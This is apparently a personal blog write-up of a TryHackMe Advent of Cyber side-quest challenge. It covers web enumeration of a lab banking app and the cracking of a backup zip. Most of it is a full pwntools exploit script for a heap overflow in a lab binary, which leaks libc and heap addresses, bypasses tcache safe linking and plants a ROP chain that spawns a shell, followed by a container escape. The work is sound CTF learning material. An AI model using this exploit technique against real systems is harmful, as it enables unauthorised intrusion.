Advent of Cyber Side Quest (Part 3)

21 December 2024

Part three of the TryHackMe Advent of Cyber Side Quest! See Part 1 for context.

The Keycard

The main quest room was about race conditions in web apps, using a simulated banking site. By this point I was habitually running nmap and dirb scans against each main quest machine, and poking around at what I found. Today the quest machine was running on port 5000, which indicates it's likely flask. Additionally, dirb found a /transactions subdirectory on the main server and after poking around it became apparent that the transaction IDs were just MD5 sums of integers, counting up in sequence starting from 1337. I tried enumerating all the transactions, which required a session cookie that I could get from the browser's developer tools since the challenge provides valid credentials:

for id in {1330..1340}; do curl -b "session=eyJuYW1lIjoicmVzZXJ2ZSIsInVzZXIiOjEwMH0.Z1xQDQ.cJ5cWF8zMQl8xDsnYnOXsm25P8Y" -L "http://10.10.97.169:5000/transactions?id=$(echo -n "$id" | md5sum | awk '{print $1}')"; done

Scrolling through that list revealed one transaction whose ID was very obviously base64-encoded data (it ended with =), which cyberchef decoded to /secret/0opsIDidItAgain_MayorMalware1337.png, which was unsurprisingly the keycard.

T3: Escaping the Blizzard

This one was by far the most difficult challenge of the five, and it took me almost two weeks to solve. I don't mind at all admitting that I needed guidance from more experienced hackers on this one, because it was difficult!

Once the machine was up and running, with the firewall unlocked by putting the keycard password into the input field on port 21337, I ran a standard port and subdirectory scan.

nmap turned up the following:

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1337/tcp  open  waste 
21337/tcp open  unknown

And dirb discovered (among others) a /backup directory which contained:

None of the "recommended passwords" in the text file opened the zip. I tried John the Ripper but no luck. I asked chatGPT to write me a one-liner to run each word in the wordlist through the enc binary, which produced a bunch of hash-like strings. I then tried all those on the zip and sure enough one of them (30510d980c6bd5b3898dd0836426807b) was the correct password. That zip file contained the first flag, a dockerfile, a binary called secureStorage, a libc, and an ld-linux.

The libc appeared to be version 2.39 which at the time of this writing is about 6 months old, and the binary appeared to be a copy of the service running on port 1337 on the machine. Decompiling the secureStorage binary with Ghidra revealed a buffer overflow vulnerability: The user can write up to 16 bytes past the end of what malloc() allocates. This is thus a heap overflow, but the confusing part was that the binary didn't call free() anywhere.

Cue several days of reading, talking to Pickman's Model, and banging my head both literally and metaphorically against my keyboard. I've done a few stack overflows on HackTheBox but never a heap overflow, and to complicate things this binary had all the relevant protections. It was compiled PIE, had the nx bit set, the system was running ASLR, and the version of libc was too recent for many well-known attacks to work (because of safe linking, removal of free hooks, etc.).

Eventually I discovered this github repository which helped a lot in understanding wtf was going on. In general, the idea is that the heap is divided into different chunks, and those chunks are tracked in linked lists that glibc calls "bins", with different bins for differently-sized chunks. The smallest chunks are called the "tcache bins" and they're thread-local but are otherwise identical to the "fast bins". All those chunks get allocated from the initial large bit of memory called the top chunk. With each successive call to malloc, the top chunk gets smaller and smaller (assuming no calls to free are made) and then at some point the top chunk is too small, so the allocator has to ask the OS for more memory which becomes a new top chunk, and the old top chunk gets put into the bins.

The important bit is that chunks are generally allocated adjacent to each other in memory, save for a "fencepost" of metadata headers that contain describe whether the previous chunk is in use, the size of the chunk, whether it was mmap'ed, etc. What that means is with our heap overflow, we can write into the header of the adjacent chunk which means, for example, we can change the size and prev_inuse flags which allows us to manipulate the allocator.

So in general we need to first read the pointer to main_arena. Arenas, in this context, are contiguous chunks of memory, and there's a struct at the heap base that contains a pointer to the main arena. If we can find this pointer then we can calculate the offset to the base address of libc, and from there we can pivot to the stack.

Once we get a stack address we can find rop gadgets, create a rop chain, and write that to the main() return pointer which will cause a "return to libc" attack via which we can pop a shell.

I'm including the code I used but it's an absolute fucking mess full of unnamed constants from ghidra or libc.rip. What's more, it only worked from the AttackBox, which is TryHackMe's in-browser version of Kali. The UX is awful but the network is consistent because it runs in AWS the same as the target VMs, whereas my flaky home wifi was causing problems interacting with the binary over the network.

from pwn import *
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
secureStorage = ELF('./secureStorage')

p = process("./secureStorage")
# p = remote("10.10.105.189", 1337)

def prompt():
    r = p.recvuntilS(b">> ")
    if '[4] Exit Permit Manager' not in r:
    print("Unable to wait for prompt")
    print(r)
    sys.exit(1)

def create(index, size, data=None):
    p.sendline(b'1')
    p.recvuntil(b'Enter permit index:\n')
    p.sendline(str(index).encode())
    p.recvuntil(b'Enter entry size:\n')
    p.sendline(str(size).encode())
    r = p.readline()
    if r != b'Enter entry data:\n':
    print(f"create {index} failed:")
    print(r)
    sys.exit(1)
    p.send(data)
    prompt()

def edit(index, data):
    p.sendline(b'3')
    p.recvuntil(b'Enter entry index:\n')
    p.sendline(str(index).encode())
    p.recvuntil(b'Enter data:\n')
    p.send(data)
    prompt()

def show(index):
    p.sendline(b'2') 
    p.recvuntil(b'Enter entry index:\n')
    p.sendline(str(index).encode())
    r = p.recvuntil(b"\n[1] Create Permit Entry", drop=True)
    prompt()
    return r

def exploit():
    # Extract top chunk size
    create(0, 24, b"A" * 24)
    topchunksize = "0x" + show(0)[24:][::-1].hex()

    # Reduce top chunk size by overflow to sysmalloc_int_free and free it to unsorted bin
    edit(0, b"A"*24 + p64(eval(topchunksize) & 0xfff))
    create(1, 0xf98, b"B" * 0xf98)

    # malloc the chunk freed to unsorted bins and leak main_arena pointer
    create(2, (eval(topchunksize) & 0xfff) - 0x30, b"C" * 8)
    main_arena = "0x"+show(2)[8:][::-1].hex()

    # calculate libc base 
    libc.address = (eval(main_arena) - 0x60) - libc.symbols["main_arena"]
    newtopchunksize = "0x"+show(1)[0xf98:][::-1].hex()

    # free it to tcache bin same as before
    edit(1, b"B" * 0xf98 + p64(eval(newtopchunksize) & 0xfff))
    create(3, 0xf98, b"D" * 0xf98)

    # bypass tcache safe linking
    edit(1, b"B"*0xfa0)
    tcache_leak = "0x"+show(1)[0xfa0:][::-1].hex()[1:]
    heap_base = eval(tcache_leak+"000") - 0x21000 #ghidra
    edit(1, b"B" * 0xf98 + p64((eval(newtopchunksize) & 0xfff) - 0x20))

    edit(3, b"D" * 0xf98 + p64(eval(newtopchunksize) & 0xfff))
    create(4, 0xf98, b"E" * 0xf98)
    tcache_xor = (heap_base + 0x43000) >> 12
    target = tcache_xor ^ (libc.address + 0x20ad40)

    # Change the tcache entry adjacent to target
    edit(3, b"D" * 0xf98 + p64((eval(newtopchunksize) & 0xfff) - 0x20) + p64(target))

    create(5, 0x38, b"F")
    create(6, 0x38, b"G"*24)

    stack_leak = "0x"+show(6)[24:][::-1].hex()
    newnewtopchunksize = "0x"+show(4)[0xf98:][::-1].hex() # can't think of better name

    edit(4, b"E" * 0xf98 + p64(eval(newnewtopchunksize) & 0xfff))
    create(7, 0xf98, b"H" * 0xf98 + p64(eval(newnewtopchunksize) & 0xfff))
    create(8, 0xf98, b"I" * 0xf98)

    # set up a rop chain
    binsh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]
    exit = libc.sym["exit"]
    libc_rop = rop.ROP(ELF('./libc.so.6'))
    rdi_rop = libc.address + libc_rop.rdi.address
    ret_rop = libc.address + libc_rop.ret.address

    rop_chain = [
    ret_rop,
    rdi_rop,
    binsh,
    ret_rop,
    system,
    exit
    ]

    rop_chain = b''.join(p64(addr) for addr in rop_chain)

    print(len(rop_chain))

    tcache2_xor = (heap_base + 0x87c00) >> 12
    target2 = tcache2_xor ^ (eval(stack_leak) - 0x138)
    edit(7, b"H" * 0xf98 + p64((eval(newnewtopchunksize) & 0xfff) - 0x20) + p64(target2))

    create(9,0x38,b"J")
    create(10,0x38, rop_chain)

exploit()

# send "4" to cause main to return and trigger the rop
p.interactive()

Yuck

With that out of the way I found myself in a shell on the target machine, and the second flag was in the shell's home directory. The binary was running in a docker container, and to escape that I used the CDK toolkit, which allowed almost comically-easy access to the third and final flag after the absolute slog to get the shell.

Holy shit that was difficult. Onto Task 4!